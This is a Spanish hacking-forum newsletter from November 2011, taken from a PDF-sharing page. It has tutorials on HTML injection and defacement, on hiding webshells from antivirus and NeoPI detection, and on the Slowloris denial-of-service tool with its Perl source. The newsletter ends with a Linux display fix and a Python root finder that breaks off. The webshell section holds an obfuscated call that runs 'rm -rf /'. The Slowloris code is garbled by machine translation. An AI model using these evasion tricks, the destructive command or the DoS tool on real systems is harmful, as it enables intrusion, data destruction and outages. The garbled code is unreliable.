noviembre

September 14, 2017 | Author: NaSH2D | Category: Web Server, Html, Hypertext Transfer Protocol, Technology, World Wide Web
Share Embed Donate


Short Description

Download noviembre...

Description

Bolet´ın de Noviembre 2011

CPH

Noviembre 2011

´Indice 1. HTML injection (Ataque y Defensa) [Practico]

3

2. Evitar la detecci´ on de Webshells y backdoors

6

3. SlowLoris

7

4. Solucion al error *ERROR* EDID checksum is invalid, remainder is 130

12

5. Halla la ra´ız de “cualquier” funci´ on [Teorema de Bolzano]

13

6. Ingreso y ordenamiento de elementos de menor a mayor de un array

14

7. Descomposici´ on Wavelet

14

2

Noviembre 2011

1.

HTML injection (Ataque y Defensa) [Practico] Autor: 2Fac3R [Enlace al post]

Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection. CONOCIMIENTOS BASICOS: - Saber montar un servidor local de pruebas - Conocer lo basico de HTML, PHP y MySQL ¿En que consiste el HTMLi? El fallo consiste en la inyecci` on de codigo HTML en una web, el fallo se da cuando un webmaster pide al usuario que ingrese algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en el website del webmaster. Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

< html > < head > < title > HTMLi Tester By 2 Fac3R < body bgcolor = " black " text = " green " link = " white " >

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi caso lo hago desde localhost asi que queda asi: http://127.0.0.1/htmli.php Al ejecutarlo nos aparece la imagen con el link de “inyectar!” que hemos puesto en el “else”. Vamos y nos da un: http://127.0.0.1/htmli.php?inj= INYECTANDO CODIGO: ¿Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si ponemos: http://127.0.0.1/htmli.php?inj=2Fac3R Nos saltaria “2Fac3R” en un encabezado (), con esto nos damos cuenta que lo que pongamos en la variable “inj” en la URL ($_GET) no lo ejecutar´ıa el navegador... JUGANDO CON LAS INYECCIONES: Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas dependiendo el dominio que tengamos sobre HTML, por ejemplo: http://127.0.0.1/htmli.php?inj=0wn3dD By 2Fac3R Este es un defacement por HTMLi http://127.0.0.1/htmli.php?inj=0wn3dD By 2Fac3REste es un defacement por HTMLi http://127.0.0.1/htmli.php?inj= 0wn3DD By 2Fac3R Y asi dependiendo de la imaginaci´ on de cada quien ;) 3

Noviembre 2011

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o simplemente que vea nuestra hermosa inyecci´on xDD. GUESTBOOK’S, Y APLICACIONES VULNERABLES: En muchos sitios encontramos con los famosos ”libros de visitas.el cual tiene la finalidad de que el usuario comente sobre la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa aplicaci´on. Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicaci´ on web que no filtre esos datos y que los muestre despues. En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas c´omodo inyectar mediante la URL, ahora veamos un c´ odigo de ejemplo por POST, el cual funciona por un Formulario: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

< html > < head > < title > HTMLi Tester ( $_POST ) < body bgcolor = " black " text = " green " >

Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, as´ı que para que sea realmente vulnerable y u ´til, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un c´ odigo de un Guestbook codeado por mi usando HTML, PHP y MySQL, l´ ogicamente no contiene la seguridad que deber´ıa: guestbook.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24



4

Noviembre 2011

Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24



Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun filtro, con esto podriamos hacer un HTMLi o incluso un XSS. SECURIZANDO NUESTRO WEBSITE: Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...) Opciones: strip_tags() = Elimina las etiquetas ejemplo: 0wnN3D Nos daria: 0wnN3D (simplemente) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

< html > < head > < title > HTMLi Tester By 2 Fac3R ( parcheado ) < body bgcolor = " black " text = " green " link = " white " >

htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta ejemplo: 0wnN3D Nos daria: 0wnN3D (pero no ejecutar´ıa el c´odigo) 1 2 3 4 5 6 7 8

< html > < head > < title > HTMLi Tester By 2 Fac3R ( parcheado ) < body bgcolor = " black " text = " green " link = " white " >

La opcion que ustedes eligan pues ya depende del caso. Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina. Recuerda que esto es para practicar en casa y APRENDER, no para da˜ nar a cada website que te encuentres vulnerable. COPYRIGHT: It has Written By 2Fac3R FOR http://www.breaksecurity.blogspot.com IN elhacker.net ############################################################ ## ## # Destribuci´ on libre, respetando el autor y dedicatoria. # ## ## ############################################################

2.

Evitar la detecci´ on de Webshells y backdoors Autor: The X-C3LL [Enlace al post]

En los u ´ltimos a˜ nos la cantidad de “defaces” se ha incrementado bastante, por lo que no es de extra˜ nar que est´en apareciendo cada vez m´ as herramientas dedicadas a la detecci´on de webshells y backdoors -comoNeoPI-, que junto a los AVs, intentan limpiar los servidores. La primera l´ınea de detecci´ on de los AVs y las herramientas orientadas a WSD (WebShell Detection) est´ a basada en firmas. Un m´etodo de detecci´ on bastante simple y extendido es el de uso de checksums a modo de firma, que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compa˜ n´ıas de AVs. Esta t´ecnica de detecci´ on es f´ acilmente evadible, puesto que a˜ nadiendo un comentario en el source se modificar´ıa radicalmente su checksum y ya no ser´ıa detectado. La detecci´ on de firmas suele ir m´ as all´ a, tratando de encontrar nombres de funciones declaradas dentro de la propia webshell, o incluso trozos de c´ odigo que sean t´ıpico. Este m´etodo puede surtir efecto en aquellas shells “cl´ asicas” (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con peque˜ nas modificaciones del c´ odigo, pero que en esencia las funciones propias siguen manteniendo los mismos nombres, o incluso grandes porciones del c´odigo, por lo que la detecci´on es inmediata. En estos casos lo m´ as f´ acil para que pase desapercibida es modificar los nombres de todas las funciones, reordenar el c´ odigo y alterar la secci´ on del HTML que “maquetar´a” a la shell. Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64 decode) es otro m´etodo cl´ asico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos hacer uso de las funciones variables -cuando una variable tenga “()” al final, PHP buscar´a una funci´ on con el mismo nombre- : 1 2

$a = ’ sys ’. ’ tem ’; $a ( ’ rm - rf / ’) ;

Incluso podemos ir m´ as all´ a y tomar la funci´on desde variables de tipo GET (u otras variables como useragent y similares): 1 2 3



6

Noviembre 2011

Pero las herramientas de WSD no se quedan aqu´ı, sino que tambi´en implementan otros conceptos curiosos para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son t´ıpicas de los c´ odigos ofuscados. La idea en inicio es buena, pero yerra porque son varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64 decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, ´esta va a ser le´ıda perfectamente. Adem´ as NeoPI tambi´en detecta archivos con una entrop´ıa muy alta, por lo que si a˜ nadimos espacios entre cada car´ acter de la cadena ofuscada con base64, la entrop´ıa descender´a y pasar´a desapercibido. PD: el bypassing a NeoPI estan sacadas de este post de Seth donde podreis encontrar un ejemplo de una shell 100 % invisible para esta herramienta. Fuente: http://0verl0ad.blogspot.com/2011/11/indetectando-webshells-y-backdoors.html

3.

SlowLoris Autor: mDrinky [Enlace al post] [Link a la pagina oficial]

Slowloris es un software escrito por Robert “RSnake” Hansen , que permite una sola m´aquina para acabar con el servidor web de otra m´ aquina con un m´ınimo de ancho de banda y los efectos secundarios de los servicios relacionados y los puertos. Slowloris trata de mantener muchas conexiones con el servidor web de destino abierto y mantenerlas abiertas el mayor tiempo posible. Esto se logra mediante la apertura de conexiones con el servidor web de destino y el env´ıo de una solicitud parcial. Peri´ odicamente, se enviar´a siguientes cabeceras HTTP, a˜ nadiendo, pero nunca de completar el pedido. Los servidores afectados mantendr´an las conexiones abiertas, llenando su piscina m´ aximo de conexiones simult´ aneas, con el tiempo negando los intentos de conexi´on adicionales de los clientes. Slowloris es diferente de la t´ıpica negaci´on de servicio en que el tr´afico leg´ıtimo Slowloris utiliza el tr´ afico HTTP, y no se basa en el uso especial de ”malas”las peticiones HTTP que se aprovechan de errores en determinados servidores HTTP. Debido a esto firewalls de aplicaciones web existentes, y las soluciones IDS a IPS que se basan en firmas para detectar ataques no suelen reconocer Slowloris. Esto significa que Slowloris es capaz de ser eficaz incluso cuando est´ andar de calidad empresarial y los sistemas IDS IPS est´an en su lugar. Los detalles de Raw HTTP DOS Ejemplo: . / Slowloris.pl-dns www.example.com Avanzada HTTP DoS: Puede sintonizar Slowloris usar ciertas ventanas de tiempo de espera. Por ejemplo, si usted sabe que el servidor tiene un tiempo de espera de 20 segundos, pero la conexi´on es bastante latente es posible que desee tomar el tiempo de espera ventana de 200 segundos y aumentar el tiempo de espera de TCP a 5 segundos. El siguiente ejemplo utiliza 500 sockets. La mayor´ıa de los servidores Apache promedio, por ejemplo, tienden a caer entre 400 a 600 tomas con una configuraci´on predeterminada. Algunos son menos de 200. Cuanto menor sea el tiempo de espera m´ as r´ apido se consume todos los recursos disponibles, como los otros conectores que est´ an en uso est´ an disponibles - esto ser´ıa resuelto por la rosca, pero eso es para una futura revisi´on. Cuanto m´ as cerca se puede llegar al n´ umero exacto de tomas, mejor, porque eso reducir´a la cantidad de intentos (y ancho de banda asociado) que Slowloris har´a para tener ´exito. . / Slowloris.pl-dns-port www.example.com 80 de tiempo de espera de 20 num 500 tcpto 5 C´ odigo fuente, en perl: 1 2 3 4 5

# ! / Usr / bin / perl - w use strict ; use IO :: Socket :: INET ; use IO :: Socket :: SSL ; uso Getopt :: Long ;

7

Noviembre 2011

6

el uso de configuracion ;

7 8

$ SIG { ’ Pipe ’} = ’ IGNORE ’; # ignorar errores tuberia rota

9 10 11 12

print \ $ host , " Httpready ’= > \ $ httpready , " Num = i ’= > \ $ conexiones , ’ Cache ’ = > \ $ cache , ’ Port = i ’ = > \ $ puerto , ’ Https ’ = > \ $ ssl , " Tcpto = i ’= > \ $ tcpto , ’ Test ’ = > \ $ test , " Timeout = i ’= > \ $ timeout , ’ Version ’ = > \ $ version , );

29 30 31 32 33

if ( $ version ) { print " La version 0.7 \ n " ; salida ; }

34 35 36 37 38 39

a menos que ( $ host ) { print " Uso : \ n \ n \ tperl $ 0 - dns [ www . example . com ] opciones de \ n " ; print " \ n \ ’ perldoc $ 0 ’ tType para conocer las opciones \ n \ n " .; salida ; }

40 41 42 43 44

a menos que ( $ puerto ) { $ Port = 80; print " I ncumpli miento en el puerto 80 \ n " .; }

45 46 47 48 49

a menos que ( $ tcpto ) { $ Tcpto = 5; print " I ncumpli miento de un tiempo de espera de 5 segundos de conexion tcp \ n " .; }

50 51 52 53 54 55 56 57 58 59 60

a menos que ( $ test ) { a menos que ( $ timeout ) { $ Timeout = 100; print " I ncumplim iento a 100 segundos de tiempo de espera volver a intentar \ n " .; } a menos que ( $ enlaces ) { $ Conexion = 1000; print " I ncumplim iento de 1000 conexiones \ n " .; } }

61 62 63 64 65 66 67 68 69 70 71 72

my $ u s e m u l t i t h r e a d i n g = 0; if ( $ Config { usethreads }) { print " M ultithr eading permitido \ n " .; $ U s e m u l t i t h r e a d i n g = 1; uso de las discusiones ; uso de las discusiones :: compartir ; } else { print " No capabilites mu ltithre ading encontrado \ n " ; print " Slowloris sera mas lento de lo normal como resultado \ n " .; }

73 74 75 76

my $ packetcount : compartir = 0; my $ failed : compartir = 0; my $ c o nn ec ti o nc ou n t : compartir = 0;

77 78

srand () if ( $ cache ) ;

79 80 81 82 83 84 85 86

if ( $ shost ) { $ = $ Sendhost shost ; } else { $ = $ Sendhost de acogida ; } if ( $ httpready ) {

8

Noviembre 2011

87 88 89 90 91

$ Method = " POST " ; } else { $ Method = " GET " ; }

92 93 94 95 96 97 98 99 100

if ( $ prueba ) { mi @ veces = ( " 2 " , " 30 " , " 90 " , " 240 " , " 500 " ) ; my $ totalTime = 0; foreach ( @ veces ) { $ TotalTime = $ totalTime + $ _ ; } $ TotalTime = $ totalTime / 60; print " Esta prueba podria tomar hasta $ totalTime minutos \ n " .;

101 102 103 104

my $ delay = 0; mi trabajo $ = 0; my $ sock ;

105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142

143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166

if ( $ ssl ) { if ( $ Sock = new IO :: Socket :: SSL ( Secure PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo = 1; } } else { if ( $ Sock = new IO :: Socket :: INET ( PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo = 1; } } if ( $ trabajo ) { if ( $ cache ) { $ Rand = " ? " . int ( rand ( 9 9 9 9 9 9 9 9 9 9 9 9 9 9 ) ) ; } else { $ Rand = " " ; } mi = $ primar ypayloa d " GET / HTTP /1.1 $ rand \ r \ n " . " Host : $ sendhost \ r \ n " . " User - Agent :. Mozilla /4.0 ( compatible ; MSIE 7.0 , Windows NT 5.1; Trident /4.0; NET CLR 1.1.4322; NET CLR 2.0.503 l3 ; NET CLR 3 .0.4506 .2152; NET CLR 3.5.30729;... MSOffice 12) \ r \ n " . " Content - Length : 42 \ r \ n " ; if ( $ sock imprimir $ primary payload ) { print " una conexion con exito , ahora viene el juego de la espera ... \ n " ; } else { imprimir " Esto es extrano - He conectado , pero no pudo enviar los datos a $ host :. $ Port \ n " ; print " Es algo malo \ nDying \ n ?. " ; salida ; } } else { print " Uhm ... No me puedo conectar a $ host :. $ port \ n " ; print " Es algo malo \ nDying \ n ?. " ; salida ; } for ( my $ i = 0; $ i " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo [ $ z ] = 1; } else { $ De trabajo [ $ z ] = 0; } } else { if ( $ Sock [ $ z ] = new IO :: Socket :: INET ( PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo [ $ z ] = 1; $ = $ Packetcount packetcount + 3 , # SYN , SYN + ACK , ACK } else { $ De trabajo [ $ z ] = 0;

10

Noviembre 2011

249 250 251 252 253 254 255 256 257 258 259 260 261

262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318

} } if ( $ trabajo [ $ z ] == 1) { if ( $ cache ) { $ Rand = " ? " . int ( rand (9 9 9 9 9 9 9 9 9 9 9 9 9 9 ) ) ; } else { $ Rand = " " ; } mi = $ primar ypayloa d " $ Method / $ rand HTTP /1.1 \ r \ n " . " Host : $ sendhost \ r \ n " . " User - Agent :. Mozilla /4.0 ( compatible ; MSIE 7.0 , Windows NT 5.1; Trident /4.0; NET CLR 1.1.4322; NET CLR 2.0.503 l3 ; NET CLR 3.0.4506 .2152; NET CLR 3.5.30729;... MSOffice 12) \ r \ n " . " Content - Length : 42 \ r \ n " ; my $ handle = $ sock [ $ z ]; if ( $ gestor ) { print $ gestor " $ prima rypayloa d " ; if ( $ SIG { __WARN__ }) { $ De trabajo [ $ z ] = 0; cerca de $ gestor ; $ No + +; $ F a i l e d c o n n e c t i o n s + +; } else { $ Packetcount + +; $ De trabajo [ $ z ] = 1; } } else { $ De trabajo [ $ z ] = 0; $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } else { $ De trabajo [ $ z ] = 0; $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } } print " \ t \ tSending datos \ n " .; foreach my $ z (1 .. $ num ) { if ( $ trabajo [ $ z ] == 1) { if ( $ sock [ $ z ]) { my $ handle = $ sock [ $ z ]; if ( $ gestor de impresion "X - a : b \ r \ n " ) { $ De trabajo [ $ z ] = 1; $ Packetcount + +; } else { $ De trabajo [ $ z ] = 0; # Informacion de depuracion $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } else { $ De trabajo [ $ z ] = 0; # Informacion de depuracion $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } } imprimir " Las actuales estadisticas : \. TSlowloris ha enviado paquetes de $ packetcount con exito \ n Este hilo ya dormir por $ segundos de tiempo de espera ... \ n \ n " ; del sueno ( $ timeout ) ; } }

319 320 321 322 323 324 325 326 327

domu l t i t h r e a d i n g sub { my ( $ num ) = @ _ ; mi @ thrs ; my $ i = 0; my $ c o n n e c t i o n s p e r t h r e a d = 50; while ( $ i create (\ doconnections , $ connectionsperthread , 1) ;

11

Noviembre 2011

$ I + = $ connectionsperthread ; } mi @ threadslist = threads - > list () ; while ( $ # threadslist > 0) { $ Errores = 0; }

328 329 330 331 332 333 334

4.

}

Solucion al error *ERROR* EDID checksum is invalid, remainder is 130 Autor: Dj Dexter

[Enlace al post] ´ Ultimamente he tenido problemas con la EDID, mas bien con el detector de la suma de ella, la que esta integrada con el kernel y que funciona si esta activado el kms en el kernel. Solo para los que usan los drivers de ATI xf86-video-ati: [drm:drm_edid_block_vali [drm:drm_edid_block_vali [drm:drm_edid_block_vali [drm:drm_edid_block_vali

d] d] d] d]

*ERROR* *ERROR* *ERROR* *ERROR*

EDID EDID EDID EDID

checksum checksum checksum checksum

is is is is

invalid, invalid, invalid, invalid,

remainder remainder remainder remainder

is is is is

130 130 130 130

y da cosas como esto el sistema se paraliza 2 segundos y sigue normal, talvez a muchos les ha pasado a los usuarios de radeon con drivers libres, aunque el problema radica en el kernel cuando lee el edid y claro muchos monitores tienen buena informaci´ on en ella, pero su suma no. Usar sudo, o su + pass de root para los siguientes comandos Editar como root esto o con otro editor: #nano /boot/grub/grub.conf o menu.lst deberia quedar mas o menos asi (puede variar la configuracion pero lo que importa es a˜ nadir el nomodeset ahi): title=Gentoo Linux, Kernel 3.0.6-gentoo kernel /boot/kernel-3.0.6-gentoo root=/dev/sda1 quiet nolapic noapic noapm nomodeset raid=noautodetect nopat acpi_enforce_resources=lax guardar los cambios, si es en nano con ctrl+x Si usas grub2: #nano /etc/default/grub editar esa linea para que salga en ves que eso: GRUB_CMDLINE_LINUX_DEFAULT="quiet" quede asi: GRUB_CMDLINE_LINUX_DEFAULT="quiet nomodeset" (Para los Usuarios de Gentoo) Al no usar el KMS y tener activado gallium perderas la aceleracion 3D, pero hay 1 manera de recuperarla como root haz esto: #eselect mesa set r300 classic o eselect mesa set r600 classic (segun que tarjeta ATI tengas) #eselect mesa set sw classic con eso usaras el mesa de siempre y al reiniciar aun tendras aceleracion 3D reiniciar con reboot como root o de otra manera (sudo reboot), ahora saldran mensajes como este:

12

Noviembre 2011

[ [ [ [

29.067044] 29.071722] 29.071842] 29.071853]

[drm] [drm] [drm] [drm]

Setting GART location based on new memory map Loading R300 Microcode Num pipes: 1 writeback test succeeded in 1 usecs

aunque la resolucion de las tty baje, ya no habra mas problemas con la deteccion de EDID, ya no habra spam de ella, llenandote los syslogs ps: si tenias activado ignoreedid, quitalo ya que xorg ahora tomara en cuenta esa opcion Edita la section ’device’ de /etc/X11/xorg.conf, la dejas asi: Option "IgnoreEDID" "False" o simplemente la sacas , guardas los cambios y reinicias las X.

5.

Halla la ra´ız de “cualquier” funci´ on [Teorema de Bolzano] Autor: jeje44 [Enlace al post] Lenguaje: Python

Es un c´ odigo de python orientado a ser utilizado como m´odulo cuya funci´on bolz nos devuelve las ra´ıces aproximadas de la funci´ on CONTINUA que le enviamos. Creo que todos los detalles est´an explicados en el c´ odigo, pero si surge alguna duda las respondo :D. Si no saben que es el teorema de Bolzano: Teorema de Bolzano Las desventajas de este m´etodo es que no es una ra´ız exacta sino muy aproximada, y una desventaja a˜ nadida debido a la incompetencia del programador (yo xD) es que solo halla una ra´ız. 1

import math , sys

2 3 4 5 6

def bolz (f , ini , end ) : """ Esta es la funcion " principal " , la que ejecuta el metodo de Bolzano para resolver funciones .

7 8 9 10

La variable f es la funcion que se estudiara . Las variables ini y end indica el intervalo en el que se estudiara la funcion

11 12 13 14 15 16 17

Los tipos de funciones que se admiten son : Polinomicas EJ : 3*( x **2) +4* x +3 Logaritmicas : log ( x ) , ln ( x ) T ri go no m et ri c as : sin ( x ) , tg ( x ) , arccos ( x ) -> arcocoseno Cualquier combinacion entre ellas : 4*( x **2) + ln ( x +2) - cos ( x /3)

18 19 20 21

IMPORTANTE : Cuidado con los parentesis ! Recomiendo poner el maximo numero posible para que python no haga operaciones que no deseamos .

22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

Si vas a poner funciones logaritmicas , ten cuidado que no se estudie zonas del dominio negativo . """ f = resca ( f ) a =0 y =[ int ( ini ) ,( int ( ini ) + int ( end ) ) /2 , int ( end ) ] x =[0 ,0 ,0] while a < 20: x [0]= res (f , y [0]) x [1]= res (f , y [1]) x [2]= res (f , y [2]) if x . count (0) > 0: sol = y [ x . index (0) ] if a < 18: if ( x [0]* x [1])
View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF